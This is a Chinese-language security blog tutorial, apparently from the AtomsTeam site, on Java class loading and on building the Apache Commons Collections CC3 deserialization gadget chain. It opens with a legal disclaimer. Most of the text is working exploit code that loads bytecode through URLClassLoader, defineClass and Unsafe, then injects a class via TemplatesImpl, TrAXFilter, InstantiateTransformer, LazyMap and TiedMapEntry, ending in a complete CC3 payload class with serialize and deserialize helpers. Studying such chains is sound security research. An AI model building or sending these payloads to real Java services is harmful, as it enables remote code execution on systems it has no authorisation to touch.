免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。
参考:
哔哩哔哩up主-白日梦组长
https://space.bilibili.com/2142877265/
注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。
这边注意一个东西
package loder;
public class demo {
String test;
static {
System.out.println(11111);
}
}
然后再另一个类
new demo();事就会执行demo类中的静态代码块
Class c = Class.forName("loder.demo");也会执行静态代码块
Class c = demo.class; 这个不会 他只是做出了加载 并不是初始化
总结:静态代码块是在类初始化的时候执行的,比如实例化类的时候(构造代码块也会)
深入,Class.forName("loder.demo") 为什么也会执行
可以看见给了forName0
这是native就是c写的 看不到里面的代码 第二个参数就是是否初始化
可以看见上边有个重载方法,接收三个参数,一个是类名,还有一个就是是否初始化,还有一个就是类加载器
初始化设为false就不会进行初始化了就没有调用静态代码块,
ClassLoader.getSystemClassLoader()是系统类加载器
继续深入
这个时候就会调用静态代码块,因为初始化了
这里可以想 我可不可以不用Class.forName呢因为他的底层也是类加载器,试试用类加载器
发现用loadClass也可以加载对应的类,newInstance()可以实例化
类加载器:
ClassLoader的子类
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
调用:
loadClass->findClass->defineCLass(从字节码加载类)
这里边的URLClassLoader可以直接从url中获取字节码并加载为类
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://127.0.0.1:8000/")};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Class<?> aClass = urlClassLoader.loadClass("halloword");
aClass.newInstance();
}
就像这样从http://127.0.0.1:8000/中获取类文件夹 然后用loadclass加载字节码
为啥这样写可以找到halloword.class
其实是这样的他会给halloword后边加上.class
总结:URLClassLoader可以实现远程任意类加载(http/file/jar 这几个协议都可以)
jar的话就是 jar:http://xxxx:xxx/xxx.jar!/ 然后loadClass对应的类就好
那如果不出网呢,这个时候可以用更底下的
defineClass来做,这个是直接把字节码加载为对象的
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\demo\demo\target\classes\demo.class"));
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
demo.newInstance();
看着是不是不直观,那如果把对象base64编码 然后直接去加载呢
编码:
FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
fileOutputStream.write(Base64.getEncoder().encode(b));
把结果直接复制出来:
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
demo.newInstance();
这样也是可以的哦
那除了ClassLoader还有哪有defineClass呢,其实是有的
Unfase类
但是他是受保护的
但是是可以通过theUnsafe参数获得,只不过得用反射
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");
Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
declaredField.setAccessible(true);
Unsafe o = (Unsafe) declaredField.get(null);
Class<?> aClass = o.defineClass("demo", b, 0, b.length, classLoader, null);
aClass.newInstance();
就像这样就是ok的
其实也可以不要classloader
byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");
Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
declaredField.setAccessible(true);
Unsafe o = (Unsafe) declaredField.get(null);
Class<?> aClass = o.defineClass("demo", b, 0, b.length, null, null);
aClass.newInstance();
classloder和安全域都可以为空
这个就是相当方便了,不需要用runtime这个类,而且很灵活,很多漏洞也都是通过这个。
现在开始试试
有一个类叫做com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这里边有一个方法
defineTransletClasses
里边就有个很熟悉的东西defineClass,而且这里边的东西还是可控的
如果让他加载一个恶意的字节码,然后再实例化岂不是yyds
看看_bytecodes是咋写的
就是个二维数组 那我就把恶意代码加到二维数组然后实例化它不就ok了
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
method.setAccessible(true);
Object invoke = method.invoke(templates, null);
报错了
看看原因,不能为空,他是这个
那就给他赋值呗
是个数组 给他这个类型的数组就ok
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
method.setAccessible(true);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Object invoke = method.invoke(templates, null);
正常运行后就加载了字节码并且把加载的字节码给了_class[i] 结合上下文应该是_class[0]
所以通过反射获取这个属性,然后实例化就会执行静态代码块中的内容
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
method.setAccessible(true);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Object invoke = method.invoke(templates, null);
Field declaredField = templates.getClass().getDeclaredField("_class");
declaredField.setAccessible(true);
Class[] classes = (Class[]) declaredField.get(templates);
classes[0].newInstance();
但是这样没用,你要打人家肯定不是直接改人家代码吧,所以去找找哪里对它实例化了
就在这时发现了
getTransletInstance这里实例化了,并且调用了defineTransletClasses方法
所以由此可以看出走到getTransletInstance这个方法他会调用defineTransletClasses加载传入的字节码
defineTransletClasses的这个位置要注意,因为只有满足superClass.getName().equals(ABSTRACT_TRANSLET)才会把当前数组的下标给_transletIndex,才可以在实例化时实例化对应的数组,可能会讲通过反射,按理说是可以的
但是,不满足他会直接报错,所以还是老老实实看看这是啥
superClass是当前加载的字节码的父类,所以字节码让他继承ABSTRACT_TRANSLET的值就好
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class demo extends AbstractTranslet {
public demo() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
System.out.println(11111);
}
}
所以现在只需要调用getTransletInstance就ok
这里注意一个地方
_name不能为空的不然直接return了
他是普通的string
成功
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Method method = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
method.setAccessible(true);
method.invoke(templates);
但是呢getTransletInstance他是私有的也没有别处调用,只有一处调用它
就是这里,直接试试
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
templates.newTransformer();
完全ok,十分合适,他也是public权限十分方便现在直接去找,有没有哪又调用了他,最好是直接在readObject方法里
发现还真有一处可以的,是在org.apache.xalan.transformer.TrAXFilter#TrAXFilter的构造方法
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
new TrAXFilter(templates);
所以直接这样,但是呢并没有找到合适的调用TrAXFilter方法的地方,这可怎么办呢
其实这里有一个思路,就是通过InvokerTransformer去,但是这样的话就使用了InvokerTransformer这样没有必要
还有一个牛逼思路呢,就是前辈们发现的其实构造函数可以通过反射去实例化
Constructor constructor = TrAXFilter.class.getConstructor(new Class[]{Templates.class});
constructor.newInstance(templates);
所以此时就去找newInstance就ok
就这样,牛逼的前辈们发现了一处地方
org.apache.commons.collections.functors.InstantiateTransformer#transform
这个方法
Constructor con = ((Class) input).getConstructor(iParamTypes);
先看看这个是啥,它是不是就是反射实例化,iParamTypes可控,给他一个new Class[]{Templates.class},iArgs的话给他一个templates,不就欧克了,input给他一个TrAXFilter.class
构造函数私有的
但是可以通过这个属性获得
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
这样就ok,这样就只需要调用transform就行,是不是相当熟悉了,直接可以拿cc6的payload粘进去
还是一步步来,通过LazyMap
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
outerMap.get(TrAXFilter.class);
然后通过TiedMapEntry
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
//outerMap.get(TrAXFilter.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
tiedMapEntry.getValue();
然后跟着cc6的思路继续找
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
Map zzpayload = new HashMap<>();
zzpayload.put(tiedMapEntry,123);
ser(zzpayload);
原本是这个样子,但是会报错,导致无法序列化
说是在这里出了问题,大概是因为序列化时的那个put操作造成的,让他提前触发了,然后触发时大家也看见的会报错
之前cc6有提过,大概就是两种 一种改hashmap的key最后反射替换 还有种就是让他TiedMapEntry走不到lazymap 最后反射替换 cc6有细讲不太明白的兄弟们可以去康康
选择用第二种put完后再将tiedMapEntry的key设置为LazyMap
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
Map zzpayload = new HashMap<>();
zzpayload.put(tiedMapEntry,123);
factory.set(tiedMapEntry,outerMap);
ser(zzpayload);
unser("1.bin");
这样反序列化时就会直接
但是原版的不是这样,它使用了ChainedTransformer
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");;
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Class instantiateTransformerClass = InstantiateTransformer.class;
Field iParamTypes = instantiateTransformerClass.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = instantiateTransformerClass.getDeclaredField("iArgs");
iArgs.setAccessible(true);
TemplatesImpl[] a = {templates};
iArgs.set(instantiateTransformer,a);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);
// ser(payload);
unser("1.bin");
}
public static void ser(Object object) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
oss.writeObject(object);
}
public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
Object obj = in.readObject();
}
//}
}
具体的和cc一样我大概讲一下hashmap的readObject中的value为null给
new ConstantTransformer(TrAXFilter.class)然后获得了TrAXFilter.class给instantiateTransformer的transformer 然后就是走各种流程了,对这个感兴趣的可以跟一下代码,网上分析也有很多,上边那条链是我踩着前辈肩膀尝试寻找的,没有用ConstantTransformer
唯一的ConstantTransformer是InstantiateTransformer
交流群:添加好友回复进群
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论